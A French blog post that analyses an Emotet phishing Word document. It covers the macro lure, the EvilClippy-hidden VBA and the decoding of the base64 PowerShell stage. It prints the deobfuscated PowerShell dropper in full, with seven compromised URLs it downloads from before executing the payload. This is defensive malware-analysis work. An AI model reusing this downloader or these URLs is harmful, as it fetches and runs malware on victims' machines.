Catégories
Malware Analysis

Malware Analysis by a Rookie | 0x01 Emotet Malicious Doc

Après avoir lu beaucoup d’articles concernant les agissements du groupe cyber-criminel Emotet et son malware éponyme, j’ai enfin l’opportunité de l’analyser de mes propres mains, un sample tout frais sorti d’une boîte mail de mon entreprise.

Un utilisateur a reçu 6 spams dans la même journée, contenant des pièces jointes en .doc toutes destinées à terme à télécharger le malware Emotet.

Ce qui m’a inquiété, c’est que contrairement à des campagnes de phishing (hameçonnage), Emotet utilise du Spear-phishing, une forme de phishing très ciblée utilisée généralement contre les entreprises ayant de la valeur, alors que le phishing est généralement utilisé avec des mail list énormes, et ses utilisateurs souhaitent juste infecter des machines au hasard dans l’immensité attaquée.

Ce qui sous-entend que mon entreprise est surement ciblée par le groupe, celui-ci étant en plein essor en France actuellement.

Piqûre de rappel : Emotet fut créé en 2014 dans l’optique de devenir un trojan bancaire, mais le groupe fut rapidement rongé par la concurrence particulièrement active et implantée dans ce domaine. Le groupe a donc modifié son code pour le rendre plus polyvalent, Emotet est désormais un trojan qui permet d’exfiltrer des données depuis une infrastructure, persister, et télécharger des modules ou même déposer des autres malwares sur le poste, grâce à des “partenariats” avec d’autres groupes cybercriminels tels que TrickBot, Qakbot, ou des opérateurs de ransomware comme Ryuk ou Conti.

Rentrons maintenant dans l’aspect technique de cet article :

1*O-AoNfWtVxfv29cmDxnSLQ.png.webp

Première analyse VirusTotal du .doc malveillant.

Voici l’habituel message de phishing à l’intérieur du document:

1*0rjSVG74qYwxMmGMwW9buQ.png.webp

La fenêtre demande d’activer les macros afin de “restaurer le contenu”, mais exécutera le malware.

1*ctzHOTax-zRP5dry7qhzMw.png.webp

Comme le montre la capture ci-dessus, aucune macro n’est disponible dans le document. Pourtant, Word en détecte et on peut l’exécuter. Emotet utilise en fait une technique détournée afin d’intégrer des macros et de les masquer depuis Word, toujours dans l’optique de retarder une analyse.

Mais après avoir effectué quelques recherches, j’ai probablement trouvé l’outil qu’utilisent les opérateurs d’Emotet afin de créer leurs macros malveillantes : EvilClippy. Cet utilitaire permet d’abuser de certaines fonctions non documentées de VBA afin de cacher du code et le rendre difficile à déobfusquer.

Voici la commande qui permet de rendre visible la macro dans Word, il suffit juste d’Alt + F11 afin d’ouvrir la console VBA.

EvilClippy.exe -gg macrofile.doc

1*RBHHyT25B5EGHjjpjQAjoQ.png.webp
1*b4R4cuBsD5TXbH4FSzrU7Q.png.webp

A gauche, avant la commande, à droite, on distingue un nouveau module contenant le code de la macro.

Le code entier de la macro sera disponible dans mon github, je ne vais pas détailler sa déobfuscation pour éviter d’être trop long.

Malgré ma patience sans limites, je me suis retrouvé bloqué au moment de déchiffrer la macro pour en extraire son code Powershell. En effet, il me manquait certaines variables et fonctions dues à la méthode de récupération d’EvilClippy pas forcément adaptée à ce sample.

Malgré tout, j’ai pu récupérer la commande Powershell chiffrée depuis un test Any.run, celle-ci est encodée en base64, donc simple à récupérer en clair. Je m’arme de CyberChef afin de décoder cette commande.

A noter que les commandes chiffrées et en clair sont disponibles dans mon github.

1*PgFxPpfjpE1SKo7qN_g0Cg.png.webp

Voici le code Powershell décodé. Quelques explications:

Le code était encodé en Base64. En le décodant, tous les caractères étaient séparés par un point (0x00 en hexa), j’ai donc converti mon texte en hex afin de supprimer ces points, puis je les ait converti en ASCII.

Déobfusquer cette commande sera plus simple que la macro. Je m’attends à y trouver un nom de fichier et une URL, car ce fichier est destiné à télécharger le second exécutable (le Dropper) d’Emotet.

Après déobfusquation, j’ai réussi à sortir un code très propre, bien qu’extrêmement simple (le groupe nous habitue à mieux):

$ENV:userpRofIlE\fiGTICM\o6AJAIZ\ -itemtype DIREctoRy;[Net.ServicePointManager]::’SeCuRITYproTocOl = tls12, tls11, tls’;

$Output=’\Figticm\O6ajaiz\.exe’

$Web_Client=&(‘new-object’) NEt.wEbClieNt;

$URL_Array=’https://caygri.com/wp-content/nvaFqvcqxo34/ https://fuguluggage.com/wp-content/attach/LZKeraCHj/http://f1.dodve.com/wp-admin/dMBdlMP/http://hottco.com/stats/public/YAYv/http://livefarma.com/wp-content/file/PDpKqOC/http://greensync.com.br/aspnet_clientOld/ohGq/http://epromsevilla.es/images/attach/JCkxYd/’;

foreach($URL in $URL_Array){

try{$Web_Client.”DoWNloADFILE”($URL, $Output);

If (Get-Item $Output.lENgTh -ge 21675) {

Invoke-Item $Output

break;

}}

catch{}

}

Détaillons rapidement ce code. Emotet choisit le mode de connexion aux adresses piratées contenant le malware, ici, tls12 et 11.

Ensuite, un chemin est choisi pour le téléchargement du malware. Pas moins de 7 sites différents sont utilisés pour télécharger le malware au cas ou un site ne soit plus opérant.

Emotet télécharge enfin le malware depuis le premier site qu’il a réussi à contacter, le dépose dans le chemin choisi auparavant, puis l’éxécute.

Voici la fin de ce premier article. Récapitulons les fonctionnalités de ce document Word. Premièrement, un fichier Word incite l’utilisateur à activer les macros afin d’afficher un soit disant contenu caché dans le document. Cette macro exécute ensuite une commande Powershell encodée en base64, qui elle se chargera de télécharger, déposer, puis exécuter le stage 2 du malware.

Laisser un commentaire

Votre adresse e-mail ne sera pas publiée. Les champs obligatoires sont indiqués avec *